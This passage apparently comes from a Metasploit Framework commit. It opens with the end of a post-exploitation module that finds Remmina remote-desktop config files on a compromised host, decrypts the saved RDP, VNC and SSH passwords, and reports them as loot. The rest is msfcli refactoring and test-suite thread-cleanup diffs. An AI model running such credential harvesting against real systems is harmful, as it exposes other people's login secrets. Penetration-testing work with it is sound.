p << c.final
# trim null-padded, < 16 character passwords
p.gsub(/\x00*$/, '')
end
# Extracts all remmina creds found anywhere on the target
def extract_all_creds
creds = []
user_dirs = enum_user_directories
if user_dirs.empty?
print_error('No user directories found')
return
end
vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
# walk through each user directory
enum_user_directories.each do |user_dir|
remmina_dir = ::File.join(user_dir, '.remmina')
pref_file = ::File.join(remmina_dir, 'remmina.pref')
next unless file?(pref_file)
remmina_prefs = get_settings(pref_file)
next if remmina_prefs.empty?
if (secret = remmina_prefs['secret'])
vprint_status("Extracted secret #{secret} from #{pref_file}")
else
print_error("No Remmina secret key found in #{pref_file}")
next
end
# look for any \d+\.remmina files which contain the creds
cred_files = dir(remmina_dir).map do |entry|
::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
end
cred_files.compact!
if cred_files.empty?
vprint_status("No Remmina credential files in #{remmina_dir}")
else
creds |= extract_creds(secret, cred_files)
end
end
creds
end
def extract_creds(secret, files)
creds = []
files.each do |file|
settings = get_settings(file)
next if settings.empty?
# get protocol, host, user
proto = settings['protocol']
host = settings['server']
case proto
when 'RDP'
port = 3389
user = settings['username']
when 'VNC'
port = 5900
domain = settings['domain']
if domain.blank?
user = settings['username']
else
user = domain + '\\' + settings['username']
end
when 'SFTP', 'SSH'
# XXX: in my testing, the box to save SSH passwords was disabled
# so this may never work
user = settings['ssh_username']
port = 22
else
print_error("Unsupported protocol: #{proto}")
next
end
# get the password
encrypted_password = settings['password']
password = nil
unless encrypted_password.blank?
password = decrypt(secret, encrypted_password)
end
if host && user && password
creds << [ host, port, proto.downcase, user, password ]
else
missing = []
missing << 'host' unless host
missing << 'user' unless user
missing << 'password' unless password
vprint_error("No #{missing.join(',')} in #{file}")
end
end
creds
end
# Reads key=value pairs from the specified file, returning them as a Hash of key => value
def get_settings(file)
settings = {}
read_file(file).split("\n").each do |line|
if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
settings[setting] = value
end
end
vprint_error("No settings found in #{file}") if settings.empty?
settings
end
def report_credential(user, pass)
credential_data = {
workspace_id: myworkspace_id,
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
username: user,
private_data: pass,
private_type: :password
}
create_credential(credential_data)
end
end

View File

@ -171,10 +171,10 @@ class Metasploit3 < Msf::Post
end end
def check_bulletproof(user_dir) def check_bulletproof(user_dir)
session.fs.dir.foreach(user_dir) do |dir| session.fs.dir.foreach(user_dir) do |directory|
if dir =~ /BulletProof Software/ if directory =~ /BulletProof Software/
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{dir}") vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
return "#{user_dir}\\#{dir}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks" return "#{user_dir}\\#{directory}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
end end
end end
return nil return nil

65
msfcli
View File

@ -16,10 +16,20 @@ require 'rex'
class Msfcli class Msfcli
#
# Attributes
#
# @attribute framework
# @return [Msf::Simple::Framework]
#
# initialize
#
def initialize(args) def initialize(args)
@args = {} @args = {}
@indent = ' ' @indent = ' '
@framework = nil
@args[:module_name] = args.shift # First argument should be the module name @args[:module_name] = args.shift # First argument should be the module name
@args[:mode] = args.pop || 'h' # Last argument should be the mode @args[:mode] = args.pop || 'h' # Last argument should be the mode
@ -31,6 +41,28 @@ class Msfcli
end end
end end
#
# Instance Methods
#
# The framework to create and list modules.
#
# @return [Msf::Simple::Framework]
def framework
@framework ||= Msf::Simple::Framework.create({'DeferModuleLoads'=>true})
end
# Sets {#framework}.
#
# @raise [ArgumentError] if {#framework} already set
def framework=(framework)
if instance_variable_defined? :@framework
fail ArgumentError.new("framework already set")
end
@framework = framework
end
# #
# Returns a usage Rex table # Returns a usage Rex table
# #
@ -73,7 +105,7 @@ class Msfcli
# msfcli will end up loading EVERYTHING to memory to show you a help # msfcli will end up loading EVERYTHING to memory to show you a help
# menu plus a list of modules available. Really expensive if you ask me. # menu plus a list of modules available. Really expensive if you ask me.
$stdout.puts "[*] Please wait while we load the module tree..." $stdout.puts "[*] Please wait while we load the module tree..."
framework = Msf::Simple::Framework.create self.framework = Msf::Simple::Framework.create
ext = '' ext = ''
tbl = Rex::Ui::Text::Table.new( tbl = Rex::Ui::Text::Table.new(
@ -283,7 +315,6 @@ class Msfcli
# Initializes exploit/payload/encoder/nop modules. # Initializes exploit/payload/encoder/nop modules.
# #
def init_modules def init_modules
@framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true})
$stdout.puts "[*] Initializing modules..." $stdout.puts "[*] Initializing modules..."
module_name = @args[:module_name] module_name = @args[:module_name]
@ -297,11 +328,11 @@ class Msfcli
whitelist = generate_whitelist whitelist = generate_whitelist
# Load up all the possible modules, this is where things get slow again # Load up all the possible modules, this is where things get slow again
@framework.init_module_paths({:whitelist=>whitelist}) framework.init_module_paths({:whitelist=>whitelist})
if (@framework.modules.module_load_error_by_path.length > 0) if (framework.modules.module_load_error_by_path.length > 0)
print("Warning: The following modules could not be loaded!\n\n") print("Warning: The following modules could not be loaded!\n\n")
@framework.modules.module_load_error_by_path.each do |path, error| framework.modules.module_load_error_by_path.each do |path, error|
print("\t#{path}: #{error}\n\n") print("\t#{path}: #{error}\n\n")
end end
@ -310,16 +341,16 @@ class Msfcli
# Determine what type of module it is # Determine what type of module it is
if module_name =~ /exploit\/(.*)/ if module_name =~ /exploit\/(.*)/
modules[:module] = @framework.exploits.create($1) modules[:module] = framework.exploits.create($1)
elsif module_name =~ /auxiliary\/(.*)/ elsif module_name =~ /auxiliary\/(.*)/
modules[:module] = @framework.auxiliary.create($1) modules[:module] = framework.auxiliary.create($1)
elsif module_name =~ /post\/(.*)/ elsif module_name =~ /post\/(.*)/
modules[:module] = @framework.post.create($1) modules[:module] = framework.post.create($1)
else else
modules[:module] = @framework.exploits.create(module_name) modules[:module] = framework.exploits.create(module_name)
if modules[:module].nil? if modules[:module].nil?
# Try falling back on aux modules # Try falling back on aux modules
modules[:module] = @framework.auxiliary.create(module_name) modules[:module] = framework.auxiliary.create(module_name)
end end
end end
@ -342,7 +373,7 @@ class Msfcli
# Create the payload to use # Create the payload to use
if (modules[:module].datastore['PAYLOAD']) if (modules[:module].datastore['PAYLOAD'])
modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) modules[:payload] = framework.payloads.create(modules[:module].datastore['PAYLOAD'])
if modules[:payload] if modules[:payload]
modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
end end
@ -350,7 +381,7 @@ class Msfcli
# Create the encoder to use # Create the encoder to use
if modules[:module].datastore['ENCODER'] if modules[:module].datastore['ENCODER']
modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) modules[:encoder] = framework.encoders.create(modules[:module].datastore['ENCODER'])
if modules[:encoder] if modules[:encoder]
modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
end end
@ -358,7 +389,7 @@ class Msfcli
# Create the NOP to use # Create the NOP to use
if modules[:module].datastore['NOP'] if modules[:module].datastore['NOP']
modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) modules[:nop] = framework.nops.create(modules[:module].datastore['NOP'])
if modules[:nop] if modules[:nop]
modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
end end
@ -454,7 +485,7 @@ class Msfcli
Msf::Ui::Console::Driver::DefaultPrompt, Msf::Ui::Console::Driver::DefaultPrompt,
Msf::Ui::Console::Driver::DefaultPromptChar, Msf::Ui::Console::Driver::DefaultPromptChar,
{ {
'Framework' => @framework, 'Framework' => framework,
# When I use msfcli, chances are I want speed, so ASCII art fanciness # When I use msfcli, chances are I want speed, so ASCII art fanciness
# probably isn't much of a big deal for me. # probably isn't much of a big deal for me.
'DisableBanner' => true 'DisableBanner' => true
@ -474,7 +505,7 @@ class Msfcli
con.run_single("exploit") con.run_single("exploit")
# If we have sessions or jobs, keep running # If we have sessions or jobs, keep running
if @framework.sessions.length > 0 or @framework.jobs.length > 0 if framework.sessions.length > 0 or framework.jobs.length > 0
con.run con.run
else else
con.run_single("quit") con.run_single("quit")
@ -558,7 +589,7 @@ class Msfcli
end end
# Process special var/val pairs... # Process special var/val pairs...
Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) Msf::Ui::Common.process_cli_arguments(framework, @args[:params])
engage_mode(modules) engage_mode(modules)
$stdout.puts $stdout.puts

View File

@ -4,24 +4,35 @@ require 'spec_helper'
require 'msf/core/framework' require 'msf/core/framework'
describe Msf::Framework do describe Msf::Framework do
context '#initialize' do
subject(:framework) {
described_class.new
}
it 'creates no threads' do
expect {
framework
}.not_to change { Thread.list.count }
end
end
describe "#version" do describe "#version" do
CURRENT_VERSION = "4.10.1-dev" CURRENT_VERSION = "4.10.1-dev"
subject do subject(:framework) do
described_class.new described_class.new
end end
it "should return the current version" do it "should return the current version" do
subject.version.should == CURRENT_VERSION framework.version.should == CURRENT_VERSION
end end
it "should return the Version constant" do it "should return the Version constant" do
described_class.const_get(:Version).should == subject.version described_class.const_get(:Version).should == framework.version
end end
it "should return the concatenation of Major.Minor.Point-Release" do it "should return the concatenation of Major.Minor.Point-Release" do
major,minor,point,release = subject.version.split(/[.-]/) major,minor,point,release = framework.version.split(/[.-]/)
major.to_i.should == described_class::Major major.to_i.should == described_class::Major
minor.to_i.should == described_class::Minor minor.to_i.should == described_class::Minor
point.to_i.should == described_class::Point point.to_i.should == described_class::Point
@ -30,7 +41,7 @@ describe Msf::Framework do
skip "conform to SemVer 2.0 syntax: http://semver.org/" do skip "conform to SemVer 2.0 syntax: http://semver.org/" do
it "should have constants that correspond to SemVer standards" do it "should have constants that correspond to SemVer standards" do
major,minor,patch,label = subject.version.split(/[.-]/) major,minor,patch,label = framework.version.split(/[.-]/)
major.to_i.should == described_class::VERSION::MAJOR major.to_i.should == described_class::VERSION::MAJOR
minor.to_i.should == described_class::VERSION::MINOR minor.to_i.should == described_class::VERSION::MINOR
point.to_i.should == described_class::VERSION::POINT point.to_i.should == described_class::VERSION::POINT

View File

@ -1,99 +0,0 @@
# -*- coding:binary -*-
require 'msf/core'
require 'msf/core/task_manager'
describe Msf::TaskManager do
let(:framework) do
Msf::Framework.new
end
let(:tm) do
Msf::TaskManager.new(framework)
end
it "should have attributes" do
tm.should respond_to("processing")
tm.should respond_to("queue")
tm.should respond_to("thread")
tm.should respond_to("framework")
tm.should respond_to("processing=")
tm.should respond_to("queue=")
tm.should respond_to("thread=")
tm.should respond_to("framework=")
end
it "should initialize with an empty queue" do
tm.queue.length.should == 0
tm.backlog.should == 0
tm.backlog.should == tm.queue.length
end
it "should add items to the queue and process them" do
tm.queue_proc(Proc.new{ })
tm.backlog.should == 1
t = Msf::TaskManager::Task.new(Proc.new { })
tm.queue_task(t)
tm.backlog.should == 2
tm.start
t.wait
tm.backlog.should == 0
end
it "should add items to the queue and flush them" do
tm.queue_proc(Proc.new{ })
tm.backlog.should == 1
tm.queue_proc(Proc.new{ })
tm.backlog.should == 2
tm.flush
tm.backlog.should == 0
end
it "should start and stop" do
t = Msf::TaskManager::Task.new(Proc.new { })
tm.queue_task(t)
tm.backlog.should == 1
tm.start
t.wait
tm.backlog.should == 0
tm.stop
1.upto 100 do |cnt|
tm.queue_proc(Proc.new{ })
tm.backlog.should == cnt
end
t = Msf::TaskManager::Task.new(Proc.new { })
tm.queue_task(t)
tm.start
t.wait
tm.backlog.should == 0
end
it "should handle task timeouts" do
t = Msf::TaskManager::Task.new(Proc.new { sleep(30) })
t.timeout = 0.1
tm.start
tm.queue_task(t)
t.wait
t.status.should == :timeout
t.duration.should <= 5.0
end
it "should handle task exceptions" do
t = Msf::TaskManager::Task.new(Proc.new { asdf1234() })
tm.start
tm.queue_task(t)
t.wait
t.status.should == :dropped
t.exception.class.should == ::NoMethodError
t = Msf::TaskManager::Task.new(Proc.new { eval "'" })
tm.queue_task(t)
t.wait
t.status.should == :dropped
t.exception.should be_a ::SyntaxError
end
end

View File

@ -40,7 +40,6 @@ describe Msf::DBManager do
it_should_behave_like 'Msf::DBManager::Service' it_should_behave_like 'Msf::DBManager::Service'
it_should_behave_like 'Msf::DBManager::Session' it_should_behave_like 'Msf::DBManager::Session'
it_should_behave_like 'Msf::DBManager::SessionEvent' it_should_behave_like 'Msf::DBManager::SessionEvent'
it_should_behave_like 'Msf::DBManager::Sink'
it_should_behave_like 'Msf::DBManager::Task' it_should_behave_like 'Msf::DBManager::Task'
it_should_behave_like 'Msf::DBManager::Vuln' it_should_behave_like 'Msf::DBManager::Vuln'
it_should_behave_like 'Msf::DBManager::VulnAttempt' it_should_behave_like 'Msf::DBManager::VulnAttempt'

File diff suppressed because it is too large Load Diff

View File

@ -20,6 +20,8 @@ require 'rspec/rails/fixture_support'
require 'rspec/rails/matchers' require 'rspec/rails/matchers'
require 'rspec/rails/mocks' require 'rspec/rails/mocks'
require 'metasploit/framework/spec'
FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/' FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/'
# Load the shared examples from the following engines # Load the shared examples from the following engines
@ -57,3 +59,4 @@ RSpec.configure do |config|
end end
Metasploit::Framework::Spec::Constants::Suite.configure! Metasploit::Framework::Spec::Constants::Suite.configure!
Metasploit::Framework::Spec::Threads::Suite.configure!

View File

@ -0,0 +1,24 @@
shared_context 'Msf::Framework#threads cleaner' do
after(:each) do |example|
unless framework.threads?
fail RuntimeError.new(
"framework.threads was never initialized. There are no threads to clean up. " \
"Remove `include_context Msf::Framework#threads cleaner` from context around " \
"'#{example.metadata.full_description}'"
)
end
# explicitly kill threads so that they don't exhaust connection pool
thread_manager = framework.threads
thread_manager.each do |thread|
thread.kill
# ensure killed thread is cleaned up by VM
thread.join
end
thread_manager.monitor.kill
# ensure killed thread is cleaned up by VM
thread_manager.monitor.join
end
end

View File

@ -26,19 +26,4 @@ shared_context 'Msf::Simple::Framework' do
after(:each) do after(:each) do
dummy_pathname.rmtree dummy_pathname.rmtree
end end
after(:each) do
# explicitly kill threads so that they don't exhaust connection pool
thread_manager = framework.threads
thread_manager.each do |thread|
thread.kill
# ensure killed thread is cleaned up by VM
thread.join
end
thread_manager.monitor.kill
# ensure killed thread is cleaned up by VM
thread_manager.monitor.join
end
end end

View File

@ -1,7 +0,0 @@
shared_examples_for 'Msf::DBManager::Sink' do
it { is_expected.to respond_to :initialize_sink }
it { is_expected.to respond_to :queue }
it { is_expected.to respond_to :sink }
it { is_expected.to respond_to :sink= }
it { is_expected.to respond_to :sync }
end